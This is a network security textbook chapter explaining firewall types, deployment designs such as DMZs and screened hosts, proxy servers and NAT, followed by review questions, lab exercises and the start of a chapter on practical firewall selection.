- Differentiate between packet filtering and stateful packet filtering.
- Differentiate between application gateway and circuit gateway.
- Understand host-based firewalls and router-based firewalls.

INTRODUCTION

The first two chapters of this book discussed threats to network security and ways to defend against those threats. This and the following two chapters will address security devices. One of the most fundamental devices used to implement network security is the firewall. This is a key part of any security architecture. In fact, other systems such as the proxy server, intrusion prevention systems (IPS), and intrusion detection systems (IDS) work in conjunction with the firewall and are to some extent dependent upon the firewall.

Most people have a general idea of what a firewall is. In this chapter we will examine firewalls in detail so you will have a deeper understanding of them. We will also look at some firewall products.

This chapter will explore the basics of how firewalls work to provide a basis for evaluating which firewall is most appropriate in a given situation.

WHAT IS A FIREWALL?

A firewall is a barrier between your computer or your internal network and the outside world or the Internet. Sometimes we would also refer to this separation as the area behind the DMZ (demilitarized zone) and the public-facing side of the DMZ. A particular firewall implementation might use one or more of the methods listed here to provide that barrier.

- Packet filtering
- Stateful packet filtering
- User authentication
- Client application authentication

At a minimum a firewall will filter incoming packets based on parameters such as packet size, source IP address, protocol, and destination port. Figure 3-1 shows the essentials of the firewall concept.




FIGURE 3-1 Basic firewall operations

As you may already know, both Linux and Windows (this includes every Windows version since XP through the Windows 10 and the server editions) ship with a simple firewall built into the operating system. Norton and McAfee both offer personal firewall solutions for individual PCs. These firewalls are meant for individual machines. There are more advanced solutions available for networks. In an organizational setting, you will want a dedicated firewall between your network and the outside world. This might be a router that also has built-in firewall capabilities. (Cisco Systems is one company that is well-known for high quality routers and firewalls.) Or, it might be a server that is dedicated solely to running firewall software. There are a number of firewall solutions that you can examine. Selecting a firewall is an important decision. This chapter will give you the essential skills necessary for you to be able to

select the appropriate firewall for your network.

FYI: High-Speed Home or Small Office Connections

With the growing popularity of cable, DSL (Digital Subscriber Line), and FIOS (FiOS is purported to be a Gaelic word that means “knowledge”) connections for homes and small offices, more emphasis is being placed on securing computer systems in these locations. A general reference to this classification of design is called a Small Office and Home Office (SOHO) facility. Very inexpensive router-based firewalls for your high-speed Internet connection are available. Consumers can also purchase a router that is separate from the DSL or cable router or one that includes the functions of the cable or DSL router with the firewall. The following websites provide more information about these:

- Linksys: <https://www.linksys.com/>
- Home PC Firewall Guide:
www.firewallguide.com
- Broadband Guide:
www.firewallguide.com/broadband.htm

Types of Firewalls

Packet filtering firewalls are the simplest and often the least expensive type of firewalls. Several other types of firewalls offer their own distinct advantages and disadvantages. The basic types of firewalls are

- Packet filtering
- Application gateway
- Circuit level gateway
- Stateful packet inspection

Packet Filtering Firewall

The packet filtering firewall is the most basic type of firewall. In a packet filtering firewall, each incoming packet is examined. Only those packets that match the criteria you set are allowed through. Many operating systems, such as Windows clients (such as Windows 8 and 10) and many Linux distributions, include basic packet filtering software with the operating system. Packet filtering firewalls are also referred to as screening firewalls. They can filter packets based on packet size, protocol used, source IP address, and many other parameters. Some routers offer this type of firewall protection in addition to their normal routing functions.

Packet filtering firewalls work by examining a packet's source address, destination address, source port, destination port, and protocol type. Based on these factors and the rules that the firewall has been configured to use, they either allow or deny passage to the packet. These firewalls are very easy to configure and inexpensive. Some operating systems, such as Windows 10 and Linux, include built-in packet filtering capabilities. Chapter 4, "Firewall Practical Applications," discusses specific firewall products in detail. Here is a brief summary of some commonly used packet filtering products:

- **Firestarter:** This is a free packet filtering application for Linux available at www.fs-security.com. This software is installed on a Linux machine designed to be used as your network firewall.
- **Avast Internet Security:** This product is inexpensive and is available for Windows only. You can find this product at <https://www.avast.com/en-us/f-firewall>.
- **Zone Alarm Firewall:** This product is reasonably priced and effective. You can find out more at <https://www.zonealarm.com/software/firewall>.
- **Comodo Firewall:** This is a commercial firewall product that works with Windows clients. It

includes both firewall and antivirus functionality.
You can find out more about this product at
<https://personalfirewall.comodo.com/>.

There are a few disadvantages to the screening/packet filtering firewall solution. One disadvantage is that they do not actually examine the packet or compare it to previous packets; therefore, they are quite susceptible to either a ping flood or SYN flood. They also do not offer any user authentication. Because this type of firewall looks only at the packet header for information, it has no information about the packet contents. It also does not track packets, so it has no information about the preceding packets. Therefore, if thousands of packets came from the same IP address in a short period of time, a screened host would not notice that this pattern is unusual. Such a pattern often indicates that the IP address in question is attempting to perform a DoS attack on the network.

To configure a packet filtering firewall, simply establish appropriate filtering rules. A set of rules for a given firewall would need to cover the following:

- What types of protocols to allow (FTP, SMTP, POP3, etc.)
- What source ports to allow
- What destination ports to allow

- What source IP addresses to allow (you can block certain IP addresses if you wish)

These rules will allow the firewall to determine what traffic to allow in and what traffic to block. Because this sort of firewall uses only very limited system resources, is relatively easy to configure, and can be obtained inexpensively or even for free, it is frequently used. Although it is not the most secure type of firewall, you are likely to encounter it frequently.

In Practice

Packet Filtering Rules

Unfortunately in many real world networks there are so many different applications sending different types of packets that setting up proper rules for packet filtering can be more difficult than you might think. On a simple network with only a few servers running a small number of services (perhaps a web server, an FTP server, and an e-mail server), configuring packet filtering rules can, indeed, be rather simple. In other situations it can become quite complicated.

Consider the wide-area network connecting multiple sites in geographically diverse regions. When you set

up a packet filtering firewall in this scenario, you need to be aware of any application or service that uses network communications of any type, on any machine, in any of the sites your WAN connects to. Failure to take these complexities into account can result in your firewall blocking some legitimate network service.

Stateful Packet Inspection

The stateful packet inspection (SPI) firewall is an improvement on basic packet filtering. This type of firewall will examine each packet, denying or permitting access based not only on the examination of the current packet, but also on data derived from previous packets in the conversation. This means that the firewall is aware of the context in which a specific packet was sent. This makes these firewalls far less susceptible to ping floods and SYN floods, as well as being less susceptible to spoofing. SPI firewalls are less susceptible to these attacks for the following reasons:

- They can tell whether the packet is part of an abnormally large stream of packets from a particular IP address, thus indicating a possible DoS attack in progress.

- They can tell whether the packet has a source IP address that appears to come from inside the firewall, thus indicating IP spoofing is in progress.
- They can also look at the actual contents of the packet, allowing for some very advanced filtering capabilities.

SPI firewalls are an improved version of the packet filtering firewall. Most quality firewalls today use the stateful packet inspection method; when possible, this is the recommended type of firewall for most systems. In fact most home routers have the option of using stateful packet inspection. The name stateful packet inspection derives from the fact that in addition to examining the packet, the firewall is examining the packet's state in relationship to the entire IP conversation. This means the firewall can refer to the preceding packets as well as those packets' contents, source, and destination. As you might suspect, SPI firewalls are becoming quite common. We will examine several of them in Chapter 4. The following is a list of some well-known products:

- SonicWall (www.sonicwall.com/) makes a number of different SPI firewall products for various sized networks, in different price ranges. It is a well-known vendor of firewall products.
- Linksys (www.linksys.com/) makes a number of

small office/home office firewall router products that use SPI technologies. These are very inexpensive and easy to configure.

- Cisco (www.cisco.com) is a very well-known and highly respected vendor for many different types of network products, including router based firewalls that use SPI technology.

FYI: Stateless Packet Filtering

Stateful packet inspection is clearly the preferred method. The natural follow-up question is: What about stateless packet filtering? This term is not generally used by security professionals; it merely denotes the standard packet filtering method.

Application Gateway

An application gateway (also known as application proxy or application-level proxy) is a program that runs on a firewall. This type of firewall derives its name from the fact that it works by negotiating with various types of applications to allow their traffic to pass the firewall. In networking terminology, negotiation is a term used to refer to the process of authentication and verification. In other words, rather than looking at the protocol and port the packet is using, an application gateway will examine the client application and the server-side application to which it is trying to connect. It will then determine if that particular client application's traffic is permitted through the firewall. This is significantly different from a packet filtering firewall, which examines the packets and has no knowledge of what sort of application sent them. Application gateways enable the administrator to allow access only to certain specified types of applications, such as web browsers or FTP clients.

When a client program, such as a web browser, establishes a connection to a destination service, such as a web server, it connects to an application gateway, or proxy. The client then negotiates with the proxy server in order to gain access to the destination service. In

effect, the proxy establishes the connection with the destination behind the firewall and acts on behalf of the client, hiding and protecting individual computers on the network behind the firewall. This process actually creates two connections. There is one connection between the client and the proxy server and another connection between the proxy server and the destination.

Once a connection is established, the application gateway makes all decisions about which packets to forward. Since all communication is conducted through the proxy server, computers behind the firewall are protected.

With an application gateway, each supported client program requires a unique program to accept client application data. This sort of firewall allows for individual user authentication, which makes them quite effective at blocking unwanted traffic. However, a disadvantage is that these firewalls use a lot of system resources. The process of authenticating client applications uses more memory and CPU time than simple packet filtering.

FYI: Unique Logons

Be aware that having a unique logon for each user is probably not the ideal solution for sites with a great

deal of public traffic, such as an e-commerce site. On sites such as this, you want to attract a high volume of traffic, mainly from new customers. New visitors to your site will not have a logon ID or password. Making them go through the process of setting up an account just to visit your website will likely turn off many potential customers. However, this can be an ideal solution for a corporate network.

Application gateways are also susceptible to various flooding attacks (SYN flood, ping flood, etc.) for two reasons. The first potential cause of a flooding attack may be the additional time it takes for an application to negotiate authenticating a request. Remember that both the client application and the user may need to be authenticated. This takes more time than simply filtering packets based on certain parameters. For this reason, a flood of connection requests can overwhelm the firewall, preventing it from responding to legitimate requests. Application gateways may also be more susceptible to flooding attacks because once a connection is made, packets are not checked. If a connection is established, then that connection can be used to send a flooding attack to the server it has connected to, such as a web server or e-mail server. This vulnerability is mitigated somewhat by authenticating users. Provided the user logon method is secure

(appropriate passwords, encrypted transmission, etc.), the likelihood that someone can use a legitimate connection through an application gateway for a flooding attack is reduced.

Chapter 4 discusses specific firewall implementations; however, a brief summary of a few application gateway products is provided here:

- Akamai has a robust application gateway, available at <https://content.akamai.com/us-en-pg9554-gartner-magic-quadrant.html>.
- WatchGuard Technologies offers several firewall solutions (www.watchguard.com/).
- Cloudflare also provides an application gateway, specifically a web application firewall: <https://www.cloudflare.com/lp/waf-a>.

Circuit Level Gateway

Circuit level gateway firewalls are similar to application gateways but are more secure and generally implemented on high-end equipment. These types of firewalls also employ user authentication, but they do so earlier in the process. With an application gateway, first the client application is checked to see if access should be granted, and then the user is authenticated. With circuit level gateways, authenticating the user is the first step. The user's logon ID and password are checked, and the user is granted access before the connection to the router is established. This means that each individual, either by username or IP address, must be verified before any further communication can take place.

Once this verification takes place and the connection between the source and destination is established, the firewall simply passes bytes between the systems. A virtual "circuit" exists between the internal client and the proxy server. Internet requests go through this circuit to the proxy server, and the proxy server delivers those requests to the Internet after changing the IP address. External users only see the IP address of the proxy server. Responses are then received by the proxy server and sent back through the circuit to the client. It is this virtual circuit that makes the circuit level gateway

secure. The private secure connection between the client application and the firewall is a more secure solution than some other options, such as the simple packet filtering firewall and the application gateway.

While traffic is allowed through, external systems never see the internal systems. The differences between the application gateway and the circuit level gateway are shown in Figure 3-2.




FIGURE 3-2 Application gateway vs. circuit level gateway

While highly secure, this approach may not be

appropriate for some communication with the general public, such as e-commerce sites. This type of firewall is also difficult to configure because each client must be set up to have a circuit connection with the firewall.

pfSense is an open source firewall project (<https://www.pfsense.org/>). The source code for this firewall can be downloaded, compiled, and run in a network host-based configuration. The fact that this is open source and can be modified by the organization using it makes it an attractive choice for organizations that have sufficiently experienced staff programmers.

Hybrid Firewalls

As you will see later in this chapter and Chapter 4, there are a growing number of manufacturers creating hybrid firewalls. These are firewalls that use a mix of approaches, rather than a single approach. This sort of mixed approach is often even more effective than any of the pure approaches.

One very powerful firewall approach is a design that uses both a circuit level gateway and stateful packet filtering. Such a configuration has the best firewall methods combined into a single unit. In Chapter 4, we will examine some real-world examples of hybrid solutions.

Blacklisting/Whitelisting

Many firewalls also support the use of blacklisting or whitelisting. Blacklisting is a security approach wherein users are allowed to visit any website, or Internet resource, except those on the prohibited list. That list is a blacklist. This is very permissive. Users are only prevented from visiting the sites on those specific lists.

Whitelisting involves blocking users from visiting any website or Internet resource except those on an approved list. That list is the whitelist. Whitelisting is far more restrictive. However, it is also more secure. The problem with blacklisting is that it is impossible to know and list every website that users should not visit. No matter how thorough the blacklist is, it will allow traffic to some sites it should not. Whitelisting is far more secure, because all sites are blocked by default (blocking by default is also known as implicit deny) unless they are on the whitelist.

IMPLEMENTING FIREWALLS

Administrators must be able to evaluate implementation issues to achieve a successful security solution for their systems. Understanding the type of firewall means knowing how the firewall will evaluate traffic and deciding what to allow and what not to allow. Understanding the firewall's implementation means understanding how that firewall is set up in relation to the network it is protecting. The most widely used configurations include:

- Network host-based
- Dual-homed host
- Router-based firewall
- Screened host

Host-Based

In the host-based (sometimes called network host-based) scenario the firewall is a software solution installed on an existing machine with an existing operating system. The most significant concern in this scenario is that, no matter how good the firewall solution is, it is contingent upon the underlying operating system. In such a scenario, it is absolutely critical that the machine hosting the firewall have a hardened operating system. Hardening the operating system refers to taking several security precautions including:

- Ensuring all patches are updated
- Uninstalling unneeded applications or utilities
- Closing unused ports
- Turning off all unused services

Operating system hardening is covered in greater depth in Chapter 8, “Operating System Hardening.”

In the network host-based implementation, you install the firewall software onto an existing server. Sometimes, the server’s operating system may come with such software. It is not at all uncommon for administrators to use a machine running Linux, configure its built-in firewall, and use that server as a

firewall. The primary advantage to this option is cost. It is much cheaper to simply install firewall software onto an existing machine, and use that machine as your firewall.

In Practice

DMZ

More and more organizations are opting to use DMZs. A DMZ is a demilitarized zone. A DMZ is created using two separate firewalls. One firewall faces the outside world, or the Internet, and the other faces the inside, or corporate network. It allows for an additional layer of protection between Internet-facing services and back-end corporate resources.

Typically, web servers, e-mail servers, and FTP servers are located inside the DMZ. Domain controllers, database servers, and file servers are located inside the corporate network. This means that if a hacker should breach the security of the first firewall she would only be able to affect the web server or e-mail server. She would not be able to get directly at the corporate data. Getting at that data would require the hacker to break through the security of yet another firewall.

This sort of arrangement is the preferred method, regardless of what type of firewall you use. Often administrators choose to use a weaker and cheaper firewall, such as a simple packet filtering firewall, on the outer side of the DMZ. They then use a much more rigorous firewall such as a stateful packet filtering on the inner side of the DMZ. If an intrusion-detection system (these are discussed in detail in [Chapter 5](#), “Intrusion-Detection Systems”) is used on the outer firewall, then any breach of that firewall is likely to be detected long before the hacker can successfully breach the inner firewall. This is also one reason why media stories abound about hackers defacing websites, but stories of hackers actually getting at sensitive data are much less common.

Many router vendors now offer a single box that implements a DMZ. They do this by creating two firewalls in one device, so you can buy a single appliance that implements the entire DMZ. The router has a port for the external connection (that is, Internet), another port for the DMZ, and then the remaining ports are for the internal network. [Figure 3-3](#) shows a DMZ.




FIGURE 3-3 A DMZ

Dual-Homed Hosts

A dual-homed host is a firewall running on a server with at least two network interfaces. This is an older methodology. Most firewalls today are implemented in actual routers, rather than servers. The server acts as a router between the network and the interfaces to which it is attached. To make this work, the automatic routing function is disabled, meaning that an IP packet from the Internet is not routed directly to the network. The administrator can choose what packets to route and how to route them. Systems inside and outside the firewall can communicate with the dual-homed host, but cannot communicate directly with each other. Figure 3-4 shows a dual-homed host.

The dual-homed host configuration is simply an expanded version of the network host firewall implementation. That means it is also contingent on the security of the underlying operating system. Any time a firewall is running on a server of any kind, the security of that server's operating system becomes even more critical than normal.

This option has the advantage of being relatively simple and inexpensive. The primary disadvantage is its dependency on the underlying operating system.




FIGURE 3-4 The dual-homed host

Router-Based Firewall

Administrators can implement firewall protection on a router. In fact, even the simplest, low-end routers today have some type of firewall included. In larger networks with multiple layers of protection, this is often the first layer of protection. Although various types of firewalls can be implemented on a router, the most common type uses packet filtering. Users of a broadband connection in a home or small office can get a packet filtering firewall router to replace the basic router provided by the broadband company.

In many cases this solution is also ideal for the firewall novice. A number of vendors supply router-based firewalls that can be preconfigured by the vendor based on the customer's needs. The customer can then install it between her network and external Internet connection. Also, most of the more widely known brands (Cisco, 3Com, etc.) offer vendor-specific training and certifications in their hardware, making it relatively easy to find qualified administrators or to train current staff.

Another valuable way to implement router-based firewalls is between subsections of a network. If a network is divided into segments, each segment needs to use a router to connect to the other segments. Using a router that also includes a firewall significantly increases security. If the security of one segment of the network is compromised, the rest of the network is not necessarily breached.

Perhaps the best advantage to router-based firewalls is the ease of setup. In many cases the vendor will even configure the firewall for you, and you simply plug it in. Most home-based routers today, such as those from Linksys, Belkin, or Netgear, have a built-in firewall. And in fact virtually all higher-end routers include firewall capability.

Screened Hosts

A screened host is really a combination of firewalls. In this configuration, a combination of a bastion host and a screening router is used. The combination creates a dual firewall solution that is effective at filtering traffic. The two firewalls can be different types. The bastion host (see the following FYI) might be an application gateway and the router packet screener (or vice versa). This approach (shown in [Figure 3-5](#)) gives the advantages of both types of firewalls and is similar in concept to the dual-homed host.




FIGURE 3-5 Screened host

The screened host has some distinct advantages over the dual-homed firewall. Unlike the dual-homed firewall, the screened host needs only one network

interface and does not require a separate subnet between the application gateway and the router. This makes the firewall more flexible but perhaps less secure because its reliance on only one network interface card means that it might be configured to pass certain trusted services to the application gateway portion of the firewall and directly to servers within the network.

The most significant concern when using the screened host is that it essentially combines two firewalls into one. Therefore any security flaw or misconfiguration affects both firewalls. When you use a DMZ there are physically two separate firewalls, and the likelihood of any security flaw being propagated to both is low.

FYI: Bastion Hosts

A bastion host is a single point of contact between the Internet and a private network. It usually will only run a limited number of services (those that are absolutely essential to the private network) and no others. The bastion host is often the packet filtering firewall that is between the network and the outside world.

In addition to these firewall configurations, there are also different methods for how the firewall examines packets. Packet filters work at the network layer of the

OSI model and simply block certain packets based on criteria such as protocol, port number, source address, and destination address. For example, a packet filter might deny all traffic on ports 1024 and up, or it might block all incoming traffic using the tFTP protocol. Ports are, of course, at the transport layer. Incoming and outgoing filters can dictate what information passes into or out of the local network.

The screening router adds security by allowing you to deny or permit certain traffic from the bastion host. It is the first stop for traffic, which can continue only if the screening router lets it through.

In Practice

Utmost Security

Organizations that want the utmost level of security often use multiple firewalls. The perimeter of the network may actually have two firewalls, perhaps a stateful packet inspecting firewall and an application gateway, one following the other (the order will determine how they are configured). This enables the organization to get the benefit of both types of firewalls. This type of configuration is not as common as it should be, but it is used by some

organizations.

One common multiple-firewall scenario is the use of screened firewall routers separating each network segment. The network will still have a perimeter firewall blocking incoming traffic, but it will also have packet filtering separating each network segment. This means that if an attack breaches the perimeter, not all network segments will be affected.

For the highest possible level of firewall protection, the ideal scenario is to have the dual-perimeter firewall, to use packet screening on all routers, and then to have individual packet filtering firewalls (such as those built into some operating systems) on every server and perhaps even on individual workstations. Such a configuration can be expensive to set up and difficult to maintain, but it would provide an extremely robust level of firewall protection. Figure 3-6 shows a possible configuration with multiple firewalls. In this image each workstation has its own operating system firewall configured and running.




FIGURE 3-6 Utmost security

SELECTING AND USING A FIREWALL

There is a variety of commercial firewall products from which you can choose. Many software vendors offer a basic packet filtering solution. Major antivirus software vendors (including those previously mentioned in this chapter) often offer the firewall software as a bundled option with their antivirus software. Other companies, such as Zone Labs, sell firewall and intrusion-detection software. The major manufacturers of routers and switches such as Cisco also offer firewall products.

The amount of security necessary for a particular system is always difficult to pinpoint. A bare minimum recommendation is to have a packet filtering firewall/proxy server between your network and the Internet—but that is a bare minimum. As a rule of thumb, administrators should buy the most robust firewall that the budget allows. Chapter 4 examines some of the more widely used firewall solutions in detail. But remember, that is just a rule of thumb. A better approach is to conduct a risk analysis, which you will see how to do in Chapter 11, “Security Policies,” and Chapter 12, “Assessing System Security.”

Using a Firewall

The first rule in using a firewall is to configure it properly. Chapter 4 covers some of the more widely used firewall solutions and how to configure them. Thoroughly reading and understanding all documentation and manuals pertinent to your firewall solution is essential. Administrators should also consider the services of a consultant to assist in the initial setup and configuration. In addition, product-specific training is often available from the firewall vendor.

Firewalls are also excellent tools when attempting to ascertain what has happened after a security incident occurs. Almost all firewalls, regardless of type or implementation, log the various activities that occur on them. These logs can provide valuable information that can assist in determining the source of an attack, methods used to attack, and other data that might help either locate the perpetrator of an attack or at least prevent a future attack using the same techniques.

Given the number of devices on a network, it is common to consolidate logs. A Security Information and Event Manager (SIEM) is a common way to do this. There is also a protocol, syslog, just for communicating log information. An SIEM will consolidate not only firewall logs, but other logs such as IDS logs as well.

Reviewing the firewall logs in order to check for anomalous activities should be a part of every organization's IT staff routine. Intrusion detection systems, which are covered in Chapter 5, can help a great deal with notifying the network administrator when anomalies occur, particularly anomalies that might indicate a potential attack. However, even with an IDS, it is still a good idea to periodically review the logs.

A study of the firewall logs during normal activity over a period of time will establish a baseline. That baseline should show average number of incoming and outgoing packets per hour, minute, and day. It should also identify the types of packets (for example, 73% of incoming packets are HTTP packets destined for your web server). Defining normal activity on a firewall helps administrators notice abnormal activity, should it occur.

USING PROXY SERVERS

A proxy server is often used with a firewall to hide the internal network's IP address and present a single IP address (its own) to the outside world. A proxy server is a server that sits between a client application, such as a web browser, and a real server. Proxy servers prevent hackers from seeing the IP addresses of internal machines, knowing how many machines are behind the proxy server, or learning anything about the network configuration. Proxy servers also provide a valuable control mechanism because most proxy servers log all outgoing traffic. This enables network administrators to see where employees go on the Internet. A proxy server normally runs as software on the same machine as your firewall.

The proxy server is configured to redirect certain traffic. For example, incoming traffic using the HTTP protocol is usually allowed through the proxy server but is redirected to the web server. That means that all outgoing and incoming HTTP traffic first goes through the proxy server. A proxy server can be configured to redirect any traffic you want. If an e-mail server or FTP server is on the network, all incoming and outgoing traffic for that network will run through the proxy server.

Using a proxy server means that when a machine inside

the network visits a website, the website will only detect that the proxy server visited it. In fact, if dozens of different machines on the network visit a site that logs the IP addresses of incoming connections, they will all be logged with the same IP address—that of the proxy server. For the most part this sort of proxy server has been supplanted by network address translation, which we will examine in the next section. However, the term *proxy server* is still used, but with a different application. Now proxy servers work with the firewall to filter things such as web content. They allow a network administrator to block certain sites and to record all the websites a given user visits.

This hiding of the network is a very valuable service because knowledge of internal IP addresses can be used to execute certain forms of attack. For example, IP spoofing is contingent upon knowing the IP address of some internal server. Hiding those IP addresses is an important step in network security. It can also be very useful to know where employees go on the Internet. Proxy servers track such information, and many network administrators use this to restrict employees from using the company Internet connection for illicit purposes. This can also be a useful tool for stopping attacks. An employee who visits hacker websites might be a potential security risk. They may elect to try some of the techniques they read about on the network.

Administrators can also detect potential industrial espionage. An employee who spends a lot of time on a competitor's website might be considering a job change and might consider taking valuable data with him.

The WinGate Proxy Server

A number of proxy server solutions are available. Some are commercial products, while others are open source. In order to help you understand proxy servers better, we will examine one such product. WinGate is an inexpensive commercial product that also offers a free trial download (available at www.wingate.com). This product has all of the standard features of a proxy server including:

- Internet connection sharing
- Hiding internal IP addresses
- Allowing virus scanning
- Filtering of sites

The free download option makes it ideal for students. You can use the 30-day trial version to learn how the proxy server works, without incurring any expense. The installation routine is simple, and the product has an easy-to-use graphical user interface.

Of course, there are other proxy server solutions you can find, and many of them are quite good. This one is being shown because it is:

- Easy to use
- Inexpensive
- Available as a free download

WinGate is also a good solution outside the classroom. The ability to filter certain websites is quite attractive to many companies. One way companies reduce abuse of system resources is by blocking sites they don't want employees to use. The ability to also scan for viruses is valuable in any setting.

NAT

For many organizations, proxy servers have been superseded by a newer technology known as network address translation (NAT). Today what we call proxy servers don't do what proxy servers originally did (i.e., translate a private IP address into a public IP address). First and foremost, NAT translates internal addresses and external addresses to allow communication between network computers and outside computers. The outside sees only the address of the machine running NAT (often the firewall). From this perspective it is functioning exactly like a proxy server.

NAT also provides significant security because, by default, it allows only connections that are originated on the inside network. This means that a computer inside the network can connect to an outside web server, but an outside computer cannot connect to a web server inside the network. You can make some internal servers available to the outside world via inbound mapping, which maps certain well-known TCP ports (80 for HTTP, 21 for FTP, etc.) to specific internal addresses, thus making services such as FTP or websites available to the outside world. However, this inbound mapping must be done explicitly; it is not present by default.

As you will see in subsequent chapters, NAT is

frequently offered as a part of another product, such as a firewall. Unlike proxy servers, it is less likely to be found as a stand-alone product. However, Chapter 4 shows several firewall solutions that include a network address translation functionality feature.

SUMMARY

It is absolutely critical that any network have a firewall and NAT between the network and the outside world. There are a number of firewall types and implementations to consider. Some are easy to implement and inexpensive. Others may be more resource intensive, difficult to configure, or more expensive. Organizations should use the most secure firewall that their circumstances allow. For some firewalls, vendor-specific training may be essential for proper configuration of the firewall. A poorly configured firewall can be as much of a security hazard as having no firewall at all.

We have examined the various types of firewalls (packet screening, application gateway, circuit level gateway, and stateful packet inspection) as well as the implementations (network host-based, router-based, dual-homed, and screened). Understanding how a firewall works is essential for selecting an appropriate solution for a network's security needs.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. Which of the following are four basic types of firewalls?
 - A. Screening, bastion, dual-homed, circuit level
 - B. Application gateway, bastion, dual-homed, screening
 - C. Packet filtering, application gateway, circuit level, stateful packet inspection
 - D. Stateful packet inspection, gateway, bastion, screening
2. Which type of firewall creates a private virtual connection with the client?
 - A. Bastion
 - B. Dual-homed
 - C. Application gateway
 - D. Circuit level gateway
3. Which type of firewall is considered the most secure?
 - A. Dual-homed
 - B. Stateful packet inspection

- C. Circuit level gateway**
 - D. Packet screening**
- 4. What four rules must be set for packet filtering firewalls?**
- A. Protocol type, source port, destination port, source IP**
 - B. Protocol version, destination IP, source port, username**
 - C. Username, password, protocol type, destination IP**
 - D. Source IP, destination IP, username, password**
- 5. What type of firewall requires individual client applications to be authorized to connect?**
- A. Screened gateway**
 - B. Stateful packet inspection**
 - C. Dual-homed**
 - D. Application gateway**
- 6. Why might a proxy gateway be susceptible to a flood attack?**
- A. It does not properly filter packets.**
 - B. It does not require user authentication.**

- C.** It allows multiple simultaneous connections.
 - D.** Its authentication method takes more time and resources.
7. Why might a circuit level gateway be inappropriate for some situations?
- A.** It has no user authentication.
 - B.** It blocks web traffic.
 - C.** It requires client-side configuration.
 - D.** It is simply too expensive.
8. Why is an SPI firewall less susceptible to spoofing attacks?
- A.** It examines the source IP of all packets.
 - B.** It automatically blocks spoofed packets.
 - C.** It requires user authentication.
 - D.** It requires client application authentication.
9. Why is an SPI firewall more resistant to flooding attacks?
- A.** It automatically blocks large traffic from a single IP.
 - B.** It requires user authentication.
 - C.** It examines each packet in the context of previous packets.

- D.** It examines the destination IP of all packets.
- 10.** What is the greatest danger in a network host-based configuration?
- A.** SYN flood attacks
 - B.** Ping flood attacks
 - C.** IP spoofing
 - D.** Operating system security flaws
- 11.** Which of the following is an advantage of the network host-based configuration?
- A.** It is resistant to IP spoofing.
 - B.** It is inexpensive or free.
 - C.** It is more secure.
 - D.** It has user authentication.
- 12.** Which of the following can be shipped preconfigured?
- A.** Stateful packet inspection firewalls
 - B.** Network host-based firewalls
 - C.** Router-based firewalls
 - D.** Dual-homed firewalls
- 13.** Which of the following solutions is actually a combination of firewalls?
- A.** Screened firewalls

- B.** Router-based firewalls
 - C.** Dual-homed firewalls
 - D.** Bastion host firewalls
- 14.** It should be routine for someone in the IT security staff to
- A.** Test the firewall by attempting a ping flood
 - B.** Review firewall logs
 - C.** Reboot the firewall
 - D.** Physically inspect the firewall
- 15.** A device that hides internal IP addresses is called
- A.** Screened host
 - B.** Bastion firewall
 - C.** Proxy server
 - D.** Dual-homed host
- 16.** What is the most important security advantage to NAT?
- A.** It blocks incoming ICMP packets.
 - B.** It hides internal network addresses.
 - C.** By default it blocks all ICMP packets.
 - D.** By default it only allows outbound connections.

EXERCISES

Don't use live systems for labs.

With all exercises you should use only lab computers specifically set up for the purpose of experimentation. Never perform these lab exercises on live systems.

EXERCISE 3.1: Turning On Windows Firewall

Note: This exercise requires access to a machine with Windows 7, 8, or 10.

1. Go to Start, choose Settings, and click Control Panel. Or type **control panel** into the Search box.
2. Click Systems and Security.
3. Click Windows Firewall. From this screen you can turn the firewall on or off, and configure firewall rules.

EXERCISE 3.2: Linux Firewall

Note: This exercise requires access to a Linux machine. Given the various Linux distributions, it is not possible to list step-by-step instructions for all of them here.

1. Use the web to find the firewall documentation for your particular Linux distribution.

The following sites might help you:

<http://www.linuxfromscratch.org/blfs/view/6.3/postlfs/firewall.htm>

<https://www.linux.com/>

<https://www.networkcomputing.com/careers/your-iptables-ready-using-linux-firewall/885365766>

2. Use those instructions to turn on and configure your Linux firewall.

EXERCISE 3.3: Free Firewalls

There are many commercial firewall solutions, but free solutions are also available. In this exercise you should:

1. Find one of them on the web. The following websites might be useful to you:

<https://www.zonealarm.com/software/free-firewall>

<https://www.pandasecurity.com/security-promotion>. This is a free trial of a commercial product.

2. Download and install it.
3. Configure it.

EXERCISE 3.4: Free Proxy Servers

There are a number of proxy servers that are available for free (or at least offer a free trial version) on the web. The following websites should help you locate one:

AnalogX Proxy:

www.analogx.com/contents/download/network/proxy.htm

Free Downloads Center:

<http://www.proxy4free.com/>

1. Download your chosen proxy server.
2. Install it.
3. Configure it according to vendor specifications.

PROJECTS

PROJECT 3.1: The Cisco Firewall

Using web resources or documentation to which you have access, look up the detailed specifications of the Cisco Firepower NGFW. Determine what type of firewall it is and what implementation it is. Also note any specific advantages or disadvantages.

PROJECT 3.2: ZoneAlarm Firewalls

Using web resources or documentation to which you have access, look up the detailed specifications of the Zone Labs Check Point Integrity firewall. Determine

what type of firewall it is and what implementation it is. Also note any specific advantages or disadvantages. The following websites will probably be useful to you:

<http://www.zonealarm.com/security/en-us/zonealarm-pc-security-free-firewall.htm>

www.checkpoint.com/products/integrity/

PROJECT 3.3: Windows 10

Using web resources or documentation to which you have access, look up the detailed specifications of the Windows 10 Firewall. Determine what type of firewall it is and what implementation it is. Also note any specific advantages or disadvantages.

Chapter 4

Firewall Practical Applications

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to:

- Explain the requirements of single machine, small office, network, and enterprise firewalls.
- Evaluate the needs and constraints of an individual or company to determine what type of firewall solution is appropriate.
- Compare popular firewall solutions.
- Recommend an appropriate firewall solution for a given situation.

INTRODUCTION

Chapter 3, “Fundamentals of Firewalls,” discussed the conceptual basis for the firewall. It described the various approaches to packet filtering used by different sorts of firewalls. This chapter examines the practical aspects of firewall selection. Firewalls can be classified based on a number of different criteria. In Chapter 3 these were classified based on configuration and type. This chapter classifies firewalls based on the practical situation in which they will be used.

Each section of this chapter examines the practical requirements of each category. We will look at the security needs, as well as budget limitations. Then we will examine one or more actual products designed for that environment. However, in no case am I specifically endorsing any product. I chose firewalls based on how widely they are used because the most widely used firewall solutions are the ones you are most likely to encounter in your career, regardless of their technical merits.

All firewalls can be categorized in the groups discussed in Chapter 3. This means they can be packet filtering, stateful packet inspection, application gateway, or circuit gateway. It is rare today to find a commercial firewall that is only packet filtering. Most commercial

firewalls support additional features such as including intrusion detection and VPN connections, and some even have built-in antivirus. It is also common for commercial firewalls to support both blacklisting and whitelisting, described in Chapter 3.

